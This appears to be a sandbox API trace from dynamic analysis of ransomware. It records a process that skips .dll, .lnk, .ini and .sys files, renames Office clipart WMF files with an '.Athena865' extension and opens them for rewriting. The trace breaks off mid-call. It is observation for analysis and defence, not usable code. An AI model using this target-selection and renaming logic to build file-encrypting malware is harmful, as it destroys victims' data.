[0127.338] lstrcmpiW (lpString1="J0188667.WMF", lpString2=".sys") returned 1 [0127.338] lstrlenW (lpString="J0188667.WMF") returned 12 [0127.338] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.Athena865") returned 73 [0127.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.athena865"), dwFlags=0x1) returned 1 [0127.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.339] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16030) returned 1 [0127.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.343] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0188669.WMF" | out: lpString1="J0188669.WMF") returned="J0188669.WMF" [0127.343] lstrlenW (lpString="J0188669.WMF") returned 12 [0127.343] lstrlenW (lpString="Athena865") returned 9 [0127.343] lstrcmpiW (lpString1="88669.WMF", lpString2="Athena865") returned -1 [0127.343] lstrlenW (lpString=".dll") returned 4 [0127.343] lstrcmpiW (lpString1="J0188669.WMF", lpString2=".dll") returned 1 [0127.343] lstrlenW (lpString=".lnk") returned 4 [0127.343] lstrcmpiW (lpString1="J0188669.WMF", lpString2=".lnk") returned 1 [0127.343] lstrlenW (lpString=".ini") returned 4 [0127.343] lstrcmpiW (lpString1="J0188669.WMF", lpString2=".ini") returned 1 [0127.343] lstrlenW (lpString=".sys") returned 4 [0127.343] lstrcmpiW (lpString1="J0188669.WMF", lpString2=".sys") returned 1 [0127.343] lstrlenW (lpString="J0188669.WMF") returned 12 [0127.343] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.Athena865") returned 73 [0127.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.athena865"), dwFlags=0x1) returned 1 [0127.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.345] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29602) returned 1 [0127.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.349] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0188679.WMF" | out: lpString1="J0188679.WMF") returned="J0188679.WMF" [0127.349] lstrlenW (lpString="J0188679.WMF") returned 12 [0127.349] lstrlenW (lpString="Athena865") returned 9 [0127.349] lstrcmpiW (lpString1="88679.WMF", lpString2="Athena865") returned -1 [0127.349] lstrlenW (lpString=".dll") returned 4 [0127.349] lstrcmpiW (lpString1="J0188679.WMF", lpString2=".dll") returned 1 [0127.349] lstrlenW (lpString=".lnk") returned 4 [0127.349] lstrcmpiW (lpString1="J0188679.WMF", lpString2=".lnk") returned 1 [0127.349] lstrlenW (lpString=".ini") returned 4 [0127.350] lstrcmpiW (lpString1="J0188679.WMF", lpString2=".ini") returned 1 [0127.350] lstrlenW (lpString=".sys") returned 4 [0127.350] lstrcmpiW (lpString1="J0188679.WMF", lpString2=".sys") returned 1 [0127.350] lstrlenW (lpString="J0188679.WMF") returned 12 [0127.350] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.Athena865") returned 73 [0127.350] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.athena865"), dwFlags=0x1) returned 1 [0127.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.351] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13162) returned 1 [0127.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.354] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0195248.WMF" | out: lpString1="J0195248.WMF") returned="J0195248.WMF" [0127.354] lstrlenW (lpString="J0195248.WMF") returned 12 [0127.354] lstrlenW (lpString="Athena865") returned 9 [0127.355] lstrcmpiW (lpString1="95248.WMF", lpString2="Athena865") returned -1 [0127.355] lstrlenW (lpString=".dll") returned 4 [0127.355] lstrcmpiW (lpString1="J0195248.WMF", lpString2=".dll") returned 1 [0127.355] lstrlenW (lpString=".lnk") returned 4 [0127.355] lstrcmpiW (lpString1="J0195248.WMF", lpString2=".lnk") returned 1 [0127.355] lstrlenW (lpString=".ini") returned 4 [0127.355] lstrcmpiW (lpString1="J0195248.WMF", lpString2=".ini") returned 1 [0127.355] lstrlenW (lpString=".sys") returned 4 [0127.355] lstrcmpiW (lpString1="J0195248.WMF", lpString2=".sys") returned 1 [0127.355] lstrlenW (lpString="J0195248.WMF") returned 12 [0127.355] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.Athena865") returned 73 [0127.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.athena865"), dwFlags=0x1) returned 1 [0127.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.356] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7332) returned 1 [0127.356] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.356] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.359] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0195254.WMF" | out: lpString1="J0195254.WMF") returned="J0195254.WMF" [0127.359] lstrlenW (lpString="J0195254.WMF") returned 12 [0127.359] lstrlenW (lpString="Athena865") returned 9 [0127.359] lstrcmpiW (lpString1="95254.WMF", lpString2="Athena865") returned -1 [0127.360] lstrlenW (lpString=".dll") returned 4 [0127.360] lstrcmpiW (lpString1="J0195254.WMF", lpString2=".dll") returned 1 [0127.360] lstrlenW (lpString=".lnk") returned 4 [0127.360] lstrcmpiW (lpString1="J0195254.WMF", lpString2=".lnk") returned 1 [0127.360] lstrlenW (lpString=".ini") returned 4 [0127.360] lstrcmpiW (lpString1="J0195254.WMF", lpString2=".ini") returned 1 [0127.360] lstrlenW (lpString=".sys") returned 4 [0127.360] lstrcmpiW (lpString1="J0195254.WMF", lpString2=".sys") returned 1 [0127.360] lstrlenW (lpString="J0195254.WMF") returned 12 [0127.360] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.Athena865") returned 73 [0127.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.athena865"), dwFlags=0x1) returned 1 [0127.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.361] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4534) returned 1 [0127.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.365] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0195260.WMF" | out: lpString1="J0195260.WMF") returned="J0195260.WMF" [0127.365] lstrlenW (lpString="J0195260.WMF") returned 12 [0127.365] lstrlenW (lpString="Athena865") returned 9 [0127.365] lstrcmpiW (lpString1="95260.WMF", lpString2="Athena865") returned -1 [0127.365] lstrlenW (lpString=".dll") returned 4 [0127.365] lstrcmpiW (lpString1="J0195260.WMF", lpString2=".dll") returned 1 [0127.365] lstrlenW (lpString=".lnk") returned 4 [0127.365] lstrcmpiW (lpString1="J0195260.WMF", lpString2=".lnk") returned 1 [0127.365] lstrlenW (lpString=".ini") returned 4 [0127.365] lstrcmpiW (lpString1="J0195260.WMF", lpString2=".ini") returned 1 [0127.365] lstrlenW (lpString=".sys") returned 4 [0127.365] lstrcmpiW (lpString1="J0195260.WMF", lpString2=".sys") returned 1 [0127.365] lstrlenW (lpString="J0195260.WMF") returned 12 [0127.365] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.Athena865") returned 73 [0127.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.athena865"), dwFlags=0x1) returned 1 [0127.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.366] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8314) returned 1 [0127.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.370] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0195320.WMF" | out: lpString1="J0195320.WMF") returned="J0195320.WMF" [0127.370] lstrlenW (lpString="J0195320.WMF") returned 12 [0127.370] lstrlenW (lpString="Athena865") returned 9 [0127.370] lstrcmpiW (lpString1="95320.WMF", lpString2="Athena865") returned -1 [0127.370] lstrlenW (lpString=".dll") returned 4 [0127.370] lstrcmpiW (lpString1="J0195320.WMF", lpString2=".dll") returned 1 [0127.370] lstrlenW (lpString=".lnk") returned 4 [0127.370] lstrcmpiW (lpString1="J0195320.WMF", lpString2=".lnk") returned 1 [0127.370] lstrlenW (lpString=".ini") returned 4 [0127.370] lstrcmpiW (lpString1="J0195320.WMF", lpString2=".ini") returned 1 [0127.370] lstrlenW (lpString=".sys") returned 4 [0127.370] lstrcmpiW (lpString1="J0195320.WMF", lpString2=".sys") returned 1 [0127.370] lstrlenW (lpString="J0195320.WMF") returned 12 [0127.371] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.Athena865") returned 73 [0127.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.athena865"), dwFlags=0x1) returned 1 [0127.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.372] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29432) returned 1 [0127.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.376] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0195342.WMF" | out: lpString1="J0195342.WMF") returned="J0195342.WMF" [0127.376] lstrlenW (lpString="J0195342.WMF") returned 12 [0127.376] lstrlenW (lpString="Athena865") returned 9 [0127.376] lstrcmpiW (lpString1="95342.WMF", lpString2="Athena865") returned -1 [0127.376] lstrlenW (lpString=".dll") returned 4 [0127.376] lstrcmpiW (lpString1="J0195342.WMF", lpString2=".dll") returned 1 [0127.376] lstrlenW (lpString=".lnk") returned 4 [0127.376] lstrcmpiW (lpString1="J0195342.WMF", lpString2=".lnk") returned 1 [0127.376] lstrlenW (lpString=".ini") returned 4 [0127.376] lstrcmpiW (lpString1="J0195342.WMF", lpString2=".ini") returned 1 [0127.376] lstrlenW (lpString=".sys") returned 4 [0127.376] lstrcmpiW (lpString1="J0195342.WMF", lpString2=".sys") returned 1 [0127.376] lstrlenW (lpString="J0195342.WMF") returned 12 [0127.376] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.Athena865") returned 73 [0127.376] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.athena865"), dwFlags=0x1) returned 1 [0127.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.378] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21328) returned 1 [0127.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.382] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0195428.WMF" | out: lpString1="J0195428.WMF") returned="J0195428.WMF" [0127.382] lstrlenW (lpString="J0195428.WMF") returned 12 [0127.382] lstrlenW (lpString="Athena865") returned 9 [0127.382] lstrcmpiW (lpString1="95428.WMF", lpString2="Athena865") returned -1 [0127.382] lstrlenW (lpString=".dll") returned 4 [0127.382] lstrcmpiW (lpString1="J0195428.WMF", lpString2=".dll") returned 1 [0127.382] lstrlenW (lpString=".lnk") returned 4 [0127.382] lstrcmpiW (lpString1="J0195428.WMF", lpString2=".lnk") returned 1 [0127.382] lstrlenW (lpString=".ini") returned 4 [0127.382] lstrcmpiW (lpString1="J0195428.WMF", lpString2=".ini") returned 1 [0127.382] lstrlenW (lpString=".sys") returned 4 [0127.382] lstrcmpiW (lpString1="J0195428.WMF", lpString2=".sys") returned 1 [0127.382] lstrlenW (lpString="J0195428.WMF") returned 12 [0127.382] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.Athena865") returned 73 [0127.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.athena865"), dwFlags=0x1) returned 1 [0127.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.384] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18622) returned 1 [0127.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.388] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0195772.WMF" | out: lpString1="J0195772.WMF") returned="J0195772.WMF" [0127.388] lstrlenW (lpString="J0195772.WMF") returned 12 [0127.388] lstrlenW (lpString="Athena865") returned 9 [0127.388] lstrcmpiW (lpString1="95772.WMF", lpString2="Athena865") returned -1 [0127.388] lstrlenW (lpString=".dll") returned 4 [0127.388] lstrcmpiW (lpString1="J0195772.WMF", lpString2=".dll") returned 1 [0127.388] lstrlenW (lpString=".lnk") returned 4 [0127.388] lstrcmpiW (lpString1="J0195772.WMF", lpString2=".lnk") returned 1 [0127.388] lstrlenW (lpString=".ini") returned 4 [0127.388] lstrcmpiW (lpString1="J0195772.WMF", lpString2=".ini") returned 1 [0127.388] lstrlenW (lpString=".sys") returned 4 [0127.388] lstrcmpiW (lpString1="J0195772.WMF", lpString2=".sys") returned 1 [0127.388] lstrlenW (lpString="J0195772.WMF") returned 12 [0127.388] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.Athena865") returned 73 [0127.388] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.athena865"), dwFlags=0x1) returned 1 [0127.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.390] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3680) returned 1 [0127.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.393] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0195788.WMF" | out: lpString1="J0195788.WMF") returned="J0195788.WMF" [0127.393] lstrlenW (lpString="J0195788.WMF") returned 12 [0127.393] lstrlenW (lpString="Athena865") returned 9 [0127.393] lstrcmpiW (lpString1="95788.WMF", lpString2="Athena865") returned -1 [0127.393] lstrlenW (lpString=".dll") returned 4 [0127.393] lstrcmpiW (lpString1="J0195788.WMF", lpString2=".dll") returned 1 [0127.393] lstrlenW (lpString=".lnk") returned 4 [0127.393] lstrcmpiW (lpString1="J0195788.WMF", lpString2=".lnk") returned 1 [0127.393] lstrlenW (lpString=".ini") returned 4 [0127.393] lstrcmpiW (lpString1="J0195788.WMF", lpString2=".ini") returned 1 [0127.393] lstrlenW (lpString=".sys") returned 4 [0127.393] lstrcmpiW (lpString1="J0195788.WMF", lpString2=".sys") returned 1 [0127.393] lstrlenW (lpString="J0195788.WMF") returned 12 [0127.393] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.Athena865") returned 73 [0127.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.athena865"), dwFlags=0x1) returned 1 [0127.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.395] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3004) returned 1 [0127.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.398] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0196060.WMF" | out: lpString1="J0196060.WMF") returned="J0196060.WMF" [0127.398] lstrlenW (lpString="J0196060.WMF") returned 12 [0127.398] lstrlenW (lpString="Athena865") returned 9 [0127.398] lstrcmpiW (lpString1="96060.WMF", lpString2="Athena865") returned -1 [0127.398] lstrlenW (lpString=".dll") returned 4 [0127.398] lstrcmpiW (lpString1="J0196060.WMF", lpString2=".dll") returned 1 [0127.398] lstrlenW (lpString=".lnk") returned 4 [0127.398] lstrcmpiW (lpString1="J0196060.WMF", lpString2=".lnk") returned 1 [0127.398] lstrlenW (lpString=".ini") returned 4 [0127.398] lstrcmpiW (lpString1="J0196060.WMF", lpString2=".ini") returned 1 [0127.398] lstrlenW (lpString=".sys") returned 4 [0127.398] lstrcmpiW (lpString1="J0196060.WMF", lpString2=".sys") returned 1 [0127.398] lstrlenW (lpString="J0196060.WMF") returned 12 [0127.398] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.Athena865") returned 73 [0127.398] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.athena865"), dwFlags=0x1) returned 1 [0127.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.400] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4750) returned 1 [0127.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.403] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0196110.WMF" | out: lpString1="J0196110.WMF") returned="J0196110.WMF" [0127.403] lstrlenW (lpString="J0196110.WMF") returned 12 [0127.403] lstrlenW (lpString="Athena865") returned 9 [0127.403] lstrcmpiW (lpString1="96110.WMF", lpString2="Athena865") returned -1 [0127.403] lstrlenW (lpString=".dll") returned 4 [0127.403] lstrcmpiW (lpString1="J0196110.WMF", lpString2=".dll") returned 1 [0127.403] lstrlenW (lpString=".lnk") returned 4 [0127.403] lstrcmpiW (lpString1="J0196110.WMF", lpString2=".lnk") returned 1 [0127.403] lstrlenW (lpString=".ini") returned 4 [0127.403] lstrcmpiW (lpString1="J0196110.WMF", lpString2=".ini") returned 1 [0127.404] lstrlenW (lpString=".sys") returned 4 [0127.404] lstrcmpiW 